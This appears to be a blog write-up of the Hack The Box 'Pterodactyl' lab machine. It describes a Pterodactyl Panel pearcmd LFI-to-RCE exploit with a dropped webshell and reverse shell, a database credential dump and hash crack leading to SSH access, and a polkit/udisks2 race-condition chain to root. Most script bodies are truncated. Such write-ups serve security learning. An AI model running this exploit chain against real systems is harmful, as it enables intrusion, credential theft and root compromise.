Hackthebox: Pterodactyl
Overview
Pterodactyl is a medium-difficulty Linux machine from Hack The Box dealing initially with a vulnerable Pterodactyl Panel v1.11.10 instance that we exploit through CVE-2025-49132, a PEAR pearcmd Local File Inclusion to Remote Code Execution chain, giving us a foothold as the low-privileged wwwrun user. From there, we dump the panelβs MariaDB database to recover a bcrypt hash for the phileasfogg3 user which we then crack with John and rockyou to pivot to SSH. For privilege escalation we chain two fresh CVEs: CVE-2025-6018 (polkit pam_env bypass via ~/.pam_environment) to gain allow_active privileges, and CVE-2025-6019 (udisks2 XFS loop-setup race condition) to expose a SUID bash from a crafted XFS image we upload, finally winning the race and dropping into a root shell.

Reconnaissance
1 | PORT STATE SERVICE VERSION |
We have our usual ssh on 22 and an nginx 1.21.5 web application on port 80 that redirects us to pterodactyl.htb, which we add to our /etc/hosts file.
Web Application - http://pterodactyl.htb/
Browsing to the application, we land on a MonitorLand-styled landing page. PHP is running as version 8.4.8. A quick look at the changelog gives us some valuable enumeration data:
http://pterodactyl.htb/changelog.txt
1 | MonitorLand - CHANGELOG.txt |
So we have:
- A
play.pterodactyl.htbsubdomain routed via nginx (which we add to our/etc/hostsas well, and the panel actually sits onpanel.pterodactyl.htb). - Pterodactyl Panel v1.11.10 running on the panel subdomain backed by MariaDB 11.8.3.
- PHP-PEAR is enabled (yes, this is the gift we needed).
- A
phpinfo()page exposed at http://pterodactyl.htb/phpinfo.php .
CVE-2025-49132 - Pterodactyl Panel pearcmd LFI to RCE
A quick lookup gives us CVE-2025-49132 and the matching public PoC over at exploit-db . The bug lives in the locales/locale.json endpoint, which loads files based on attacker-controlled locale and namespace parameters. Because PEARβs pearcmd.php is available on disk and the parameters arenβt sanitized, we can chain two requests:
- First we use
pearcmd config-createas an LFI write primitive to drop a PHP webshell into/tmp/shell.php. - Then we include the dropped file via
locale=../../../../../tmp&namespace=shellto execute it.
I cleaned up the public PoC into an interactive exploit script:
1 | #!/usr/bin/env python3 |
Hosting a quick shell.sh reverse shell payload locally and feeding it into the exploit in interactive mode:
1 | βββ(kaliγΏkali)-[~] |
And we catch a callback as the wwwrun user:
1 | $ nc -lvnp 9001 |
Pivoting through the Panel database
We landed inside the panelβs database/Factories directory. Most files here are uninteresting Laravel factories (including a UserSSHKeyFactory.php full of fake test keys, donβt waste time on them):
1 | sh-4.4$ pwd |
Pterodactyl is a Laravel app, so the database creds live in /var/www/pterodactyl/.env:
1 | sh-4.4$ cat /var/www/pterodactyl/.env |
pterodactyl:PteraPanel on the panel MariaDB database. Letβs list the tables:
1 | sh-4.4$ mysql -h 127.0.0.1 -u pterodactyl -pPteraPanel panel -e "SHOW TABLES;" |
The users table looks juicy, letβs dump it:
1 | sh-4.4$ mysql -h 127.0.0.1 -u pterodactyl -pPteraPanel panel -e "select * from users;" |
Two bcrypt hashes: headmonitor (root admin on the panel) and phileasfogg3. We feed both into John with rockyou and only phileasfogg3 cracks:
1 | βββ(kaliγΏkali)-[~] |
phileasfogg3:!QAZ2wsx is also a system user we can SSH in as, giving us our user flag:
1 | βββ(kaliγΏkali)-[~] |
Privilege Escalation - CVE-2025-6018 + CVE-2025-6019
A quick check on the userβs mailbox gives us a nice hint at the intended path:
1 | phileasfogg3@pterodactyl:/var/spool/mail> cat phileasfogg3 |
βUnusual udisksd activityβ + a SUSE box running an outdated udisks2/polkit combo is a textbook setup for the freshly published Qualys CVE-2025-6018 & CVE-2025-6019 chain:
- CVE-2025-6018 β
pam_envon openSUSE/SUSE evaluates~/.pam_environment, letting an unprivileged user injectXDG_SEAT/XDG_VTNRto be treated as anallow_active(βphysically presentβ) session by polkit. - CVE-2025-6019 β
udisks2Filesystem.Resizehas a race condition during loop-device mounting: the freshly mounted filesystem is briefly exposed under/tmp/blockdev.*/before permissions are tightened, allowing the contents (including a SUIDbashwe ship inside the image) to be executed.
The plan is:
- On the attacker box, craft an XFS image containing a SUID
/bin/bash(the targetβs bash, so glibc versions match) andscpit to the box. - On the target, write
XDG_SEAT=seat0andXDG_VTNR=1to~/.pam_environment, then re-login over SSH so polkit treats us asallow_active. - Loop-mount the malicious XFS image via
udisksctl, fire the resize via D-Bus, race the watcher to grab the SUIDbashfrom/tmp/blockdev*/. - Run
bash -pforeuid=0.
Hereβs the manual walkthrough first, just to make sure the chain is understood:
1 | ################# |
Once the manual chain works, hereβs a single script that wraps everything up end-to-end. It pulls the targetβs own /bin/bash first (so it matches the boxβs libc), builds the XFS image, drops it onto the target, sets ~/.pam_environment, then races the udisks2 resize:
1 | #!/bin/bash |
Note: between step 3 and step 4 you do have to reconnect at least once, since pam_env only re-reads ~/.pam_environment at login. Running it end-to-end:
1 | βββ(kaliγΏkali)-[~] |
And that was it for Pterodactyl. Hope you learned something new!
-0xkujen
- Title: Hackthebox: Pterodactyl
- Author: Foued SAIDI
- Created at : 2026-05-17 21:07:41
- Updated at : 2026-05-17 22:46:09
- Link: https://kujen5.github.io/2026/05/17/Hackthebox-Pterodactyl/
- License: This work is licensed under CC BY-NC-SA 4.0.